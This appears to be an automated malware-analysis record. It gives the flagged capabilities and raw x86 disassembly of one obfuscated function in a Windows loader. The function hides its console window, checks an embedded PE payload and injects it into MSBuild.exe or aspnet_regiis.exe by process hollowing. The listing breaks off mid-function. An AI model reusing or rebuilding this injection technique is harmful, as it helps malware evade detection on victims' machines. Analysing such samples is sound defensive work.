Function at 0x10003260
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x140
mov eax, dword [0x10065200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x148], 0x21e9c839
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x14c], eax
sub eax, 0x84f9405a
je 0x10004e3c
jmp 0x1000329c
mov eax, dword [ebp - 0x14c]
sub eax, 0x88cf097e
je 0x1000563b
jmp 0x100032b2
mov eax, dword [ebp - 0x14c]
sub eax, 0x8ee9d90a
je 0x100040ea
jmp 0x100032c8
mov eax, dword [ebp - 0x14c]
sub eax, 0x8f71fae5
je 0x10003ca4
jmp 0x100032de
mov eax, dword [ebp - 0x14c]
sub eax, 0x90877b63
je 0x10004a57
jmp 0x100032f4
mov eax, dword [ebp - 0x14c]
sub eax, 0x924865d8
je 0x10005069
jmp 0x1000330a
mov eax, dword [ebp - 0x14c]
sub eax, 0x9399b373
je 0x10004769
jmp 0x10003320
mov eax, dword [ebp - 0x14c]
sub eax, 0x969e0a36
je 0x10005150
jmp 0x10003336
mov eax, dword [ebp - 0x14c]
sub eax, 0xa0785c31
je 0x100049a1
jmp 0x1000334c
mov eax, dword [ebp - 0x14c]
sub eax, 0xa2ec47f0
je 0x1000400c
jmp 0x10003362
mov eax, dword [ebp - 0x14c]
sub eax, 0xa4a25a02
je 0x1000595d
jmp 0x10003378
mov eax, dword [ebp - 0x14c]
sub eax, 0xa505f73e
je 0x10004d90
jmp 0x1000338e
mov eax, dword [ebp - 0x14c]
sub eax, 0xa545f9d0
je 0x10004c0f
jmp 0x100033a4
mov eax, dword [ebp - 0x14c]
sub eax, 0xa7c81928
je 0x10004431
jmp 0x100033ba
mov eax, dword [ebp - 0x14c]
sub eax, 0xa8cbd8b7
je 0x100058aa
jmp 0x100033d0
mov eax, dword [ebp - 0x14c]
sub eax, 0xadd71d30
je 0x10005ae4
jmp 0x100033e6
mov eax, dword [ebp - 0x14c]
sub eax, 0xb4c954c0
je 0x10005350
jmp 0x100033fc
mov eax, dword [ebp - 0x14c]
sub eax, 0xb58c55e9
je 0x10005978
jmp 0x10003412
mov eax, dword [ebp - 0x14c]
sub eax, 0xb6d1c483
je 0x10004d5a
jmp 0x10003428
mov eax, dword [ebp - 0x14c]
sub eax, 0xb8374932
je 0x10005bdd
jmp 0x1000343e
mov eax, dword [ebp - 0x14c]
sub eax, 0xbae4d5e9
je 0x10005908
jmp 0x10003454
mov eax, dword [ebp - 0x14c]
sub eax, 0xbb29cca3
je 0x100049da
jmp 0x1000346a
mov eax, dword [ebp - 0x14c]
sub eax, 0xbc99ee9f
je 0x100056c0
jmp 0x10003480
mov eax, dword [ebp - 0x14c]
sub eax, 0xbf2d389f
je 0x10003dba
jmp 0x10003496
mov eax, dword [ebp - 0x14c]
sub eax, 0xbf64fb00
je 0x10004457
jmp 0x100034ac
mov eax, dword [ebp - 0x14c]
sub eax, 0xbfd6acea
je 0x10005ac9
jmp 0x100034c2
mov eax, dword [ebp - 0x14c]
sub eax, 0xc0815b4d
je 0x10004b68
jmp 0x100034d8
mov eax, dword [ebp - 0x14c]
sub eax, 0xc605c1c1
je 0x10004f94
jmp 0x100034ee
mov eax, dword [ebp - 0x14c]
sub eax, 0xc8bc7d42
je 0x10004e7c
jmp 0x10003504
mov eax, dword [ebp - 0x14c]
sub eax, 0xca2960fb
je 0x10004c49
jmp 0x1000351a
mov eax, dword [ebp - 0x14c]
sub eax, 0xca3ab13c
je 0x100045bc
jmp 0x10003530
mov eax, dword [ebp - 0x14c]
sub eax, 0xca6350dd
je 0x1000547d
jmp 0x10003546
mov eax, dword [ebp - 0x14c]
sub eax, 0xcb7e2e81
je 0x10003e9b
jmp 0x1000355c
mov eax, dword [ebp - 0x14c]
sub eax, 0xd245c976
je 0x10004dd7
jmp 0x10003572
mov eax, dword [ebp - 0x14c]
sub eax, 0xd3d62e13
je 0x10004125
jmp 0x10003588
mov eax, dword [ebp - 0x14c]
sub eax, 0xd5fdc77a
je 0x10005597
jmp 0x1000359e
mov eax, dword [ebp - 0x14c]
sub eax, 0xd6cdfcdb
je 0x10004aff
jmp 0x100035b4
mov eax, dword [ebp - 0x14c]
sub eax, 0xdbf0e520
je 0x100042ae
jmp 0x100035ca
mov eax, dword [ebp - 0x14c]
sub eax, 0xddcec9ed
je 0x100047ee
jmp 0x100035e0
mov eax, dword [ebp - 0x14c]
sub eax, 0xde187a5b
je 0x100059ac
jmp 0x100035f6
mov eax, dword [ebp - 0x14c]
sub eax, 0xdf4bf1e3
je 0x10004f6e
jmp 0x1000360c
mov eax, dword [ebp - 0x14c]
sub eax, 0xe005b9be
je 0x10004be5
jmp 0x10003622
mov eax, dword [ebp - 0x14c]
sub eax, 0xe2f3dd48
je 0x1000436f
jmp 0x10003638
mov eax, dword [ebp - 0x14c]
sub eax, 0xe55bc649
je 0x10005341
jmp 0x1000364e
mov eax, dword [ebp - 0x14c]
sub eax, 0xe6fba0c7
je 0x100057de
jmp 0x10003664
mov eax, dword [ebp - 0x14c]
sub eax, 0xe8356f63
je 0x10003e8c
jmp 0x1000367a
mov eax, dword [ebp - 0x14c]
sub eax, 0xe98cb9a1
je 0x1000582f
jmp 0x10003690
mov eax, dword [ebp - 0x14c]
sub eax, 0xebfc8f82
je 0x10003f72
jmp 0x100036a6
mov eax, dword [ebp - 0x14c]
sub eax, 0xec1dab0c
je 0x10004c2c
jmp 0x100036bc
mov eax, dword [ebp - 0x14c]
sub eax, 0xec4234be
je 0x100041f8
jmp 0x100036d2
mov eax, dword [ebp - 0x14c]
sub eax, 0xedc70b3b
je 0x10004ecd
jmp 0x100036e8
mov eax, dword [ebp - 0x14c]
sub eax, 0xee52194f
je 0x100048ea
jmp 0x100036fe
mov eax, dword [ebp - 0x14c]
sub eax, 0xf4c3c1dd
je 0x10005b9c
jmp 0x10003714
mov eax, dword [ebp - 0x14c]
sub eax, 0xf7339848
je 0x1000587a
jmp 0x1000372a
mov eax, dword [ebp - 0x14c]
sub eax, 0xf9f47e0d
je 0x100047df
jmp 0x10003740
mov eax, dword [ebp - 0x14c]
sub eax, 0xfbc97dfe
je 0x10004bd6
jmp 0x10003756
mov eax, dword [ebp - 0x14c]
sub eax, 0xc5510e
je 0x100045dd
jmp 0x1000376c
mov eax, dword [ebp - 0x14c]
sub eax, 0x504c0bd
je 0x1000419b
jmp 0x10003782
mov eax, dword [ebp - 0x14c]
sub eax, 0x6c83325
je 0x1000554b
jmp 0x10003798
mov eax, dword [ebp - 0x14c]
sub eax, 0x75553e1
je 0x10004bc7
jmp 0x100037ae
mov eax, dword [ebp - 0x14c]
sub eax, 0x8a6d13d
je 0x1000546e
jmp 0x100037c4
mov eax, dword [ebp - 0x14c]
sub eax, 0xa48bc38
je 0x100054eb
jmp 0x100037da
mov eax, dword [ebp - 0x14c]
sub eax, 0xc4114e1
je 0x10004410
jmp 0x100037f0
mov eax, dword [ebp - 0x14c]
sub eax, 0x13a076bf
je 0x10003f96
jmp 0x10003806
mov eax, dword [ebp - 0x14c]
sub eax, 0x13d8bac3
je 0x100055ea
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011f0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011f0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4b200
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x134]
movzx edx, word [eax]
mov eax, 0x21d8bfe2
mov ecx, 0xbf2d389f
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8cbd8b7
mov ecx, 0x4a73bc9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dword [ebp - 0x148], 0xcb7e2e81
jmp 0x10005c05
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0xc22b2473
sub edx, 1
add edx, 0xc22b2473
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x17092ca8
mov ecx, 0x5b742aa3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov edx, dword [ebp - 0xe8]
mov eax, 0x26b95db9
mov ecx, 0x13a076bf
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
add edx, 0x4f6e9c0e
sub edx, 1
sub edx, 0x4f6e9c0e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbae4d5e9
mov ecx, 0xa2ec47f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10007110
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10007110
add esp, 0xc
mov eax, dword [ebp - 0x13c]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0xe4], eax
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0x3d060bff
sub edx, 1
sub edx, 0x3d060bff
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbae4d5e9
mov ecx, 0x1f7d4304
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov al, byte [ebp - 0xde]
and al, 1
mov byte [ebp - 0x13d], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x144], eax
mov dl, byte [ebp - 0x13d]
mov eax, 0xd3d62e13
mov ecx, 0x2476d932
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x17813ae7
sub edx, 1
add edx, 0x17813ae7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa4a25a02
mov ecx, 0x504c0bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x144], eax
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0xae50b9ab
sub edx, 1
add edx, 0xae50b9ab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa4a25a02
mov ecx, 0xec4234be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dword [ebp - 0x148], 0x55c8d758
jmp 0x10005c05
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x148], 0x56d31670
jmp 0x10005c05
mov eax, dword [ebp - 0xdc]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xd5], al
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb58c55e9
mov ecx, 0xc4114e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dl, byte [ebp - 0xd5]
mov eax, 0x733f9af1
mov ecx, 0xa7c81928
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.10002bc0
add esp, 4
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x148], 0xbf64fb00
jmp 0x10005c05
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0xa7963197
sub edx, 1
add edx, 0xa7963197
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xde187a5b
mov ecx, 0x53ac0aae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dl, byte [ebp - 0xcd]
mov eax, 0xddcec9ed
mov ecx, 0xc5510e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0x7fb61f49
sub edx, 1
sub edx, 0x7fb61f49
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7489bb94
mov ecx, 0x6e878a87
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
add edx, 0xf1edbe32
sub edx, 1
sub edx, 0xf1edbe32
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x57bb2bb2
mov ecx, 0xf9f47e0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dword [ebp - 0x148], 0xddcec9ed
jmp 0x10005c05
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x148], 0x7fe119bb
jmp 0x10005c05
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f535628
mov ecx, 0x5a3e4b05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dword [ebp - 0x148], 0x257a3f41
jmp 0x10005c05
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x120]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x120]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x148], 0x90877b63
jmp 0x10005c05
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xb4]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x120]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002eb0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov edx, dword [eax]
mov eax, dword [ebp - 0x120]
mov esi, dword [eax]
mov eax, dword [ebp - 0x110]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xfbc97dfe
mov ecx, 0xd6cdfcdb
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x148], 0x1d4182bc
jmp 0x10005c05
mov ecx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add eax, edx
add ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov edx, dword [ebp - 0x120]
mov edx, dword [edx]
mov esi, dword [ebp - 0x110]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x16ad1560
sub eax, edx
add eax, 0x16ad1560
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0x75553e1
jmp 0x10005c05
mov dword [ebp - 0x148], 0xfbc97dfe
jmp 0x10005c05
mov dword [ebp - 0x148], 0xe005b9be
jmp 0x10005c05
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
sub eax, 0x53ad035c
add eax, 1
add eax, 0x53ad035c
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x148], 0xa545f9d0
jmp 0x10005c05
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0xee52194f
jmp 0x10005c05
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x148], 0xca2960fb
jmp 0x10005c05
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6ce42b09
mov ecx, 0x4a9bd8db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov edx, dword [ebp - 0xa0]
mov esi, dword [ebp - 0x13c]
mov eax, 0xbc99ee9f
mov ecx, 0x5413b520
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x99], al
mov dword [ebp - 0x148], 0x6141e530
jmp 0x10005c05
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x148], 0x84f9405a
jmp 0x10005c05
mov eax, dword [ebp - 0x94]
mov eax, dword [eax + 0x34]
mov ecx, dword [ebp - 0x98]
add ecx, 0x422a6215
sub ecx, eax
sub ecx, 0x422a6215
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov dword [eax], 0
mov dword [ebp - 0x148], 0xc8bc7d42
jmp 0x10005c05
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0x26918547
sub edx, 1
sub edx, 0x26918547
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x140c09f0
mov ecx, 0xedc70b3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x2550f1e4
sub edx, 1
add edx, 0x2550f1e4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x140c09f0
mov ecx, 0x619bb1a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov edx, dword [ebp - 0x90]
mov esi, dword [ebp - 0x8c]
mov eax, 0xd5fdc77a
mov ecx, 0xc605c1c1
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0xf5fa2ef
sub edx, 1
sub edx, 0xf5fa2ef
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbfd6acea
mov ecx, 0x596e59ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dword [ebp - 0x148], 0x5024ee0e
jmp 0x10005c05
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
movzx edx, word [eax + ecx*2]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xfff
mov eax, 0xffffffff
xor eax, 0xe8f4142e
or edx, ecx
or eax, 0xe8f4142e
xor edx, 0xffffffff
and edx, eax
mov ecx, dword [ebp - 0x84]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x75], al
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0x70f9044f
sub edx, 1
sub edx, 0x70f9044f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xadd71d30
mov ecx, 0x386f6ed0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dword [ebp - 0x148], 0xb4c954c0
jmp 0x10005c05
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
sub edx, 0x64922773
sub edx, 1
add edx, 0x64922773
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf4c3c1dd
mov ecx, 0x706ca746
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dword [ebp - 0x148], 0xca6350dd
jmp 0x10005c05
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb8374932
mov ecx, 0xa48bc38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
sub edx, 0xc7cdc741
sub edx, 1
add edx, 0xc7cdc741
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8374932
mov ecx, 0x1f626e9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dword [ebp - 0x148], 0x6892fa5b
jmp 0x10005c05
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x148], 0x5d6dd0fc
jmp 0x10005c05
mov ecx, dword [0x10066538]
mov eax, dword [0x10066534]
mov edx, ecx
add edx, 0x73b6d634
sub edx, 1
sub edx, 0x73b6d634
imul ecx, edx
and ecx, 1
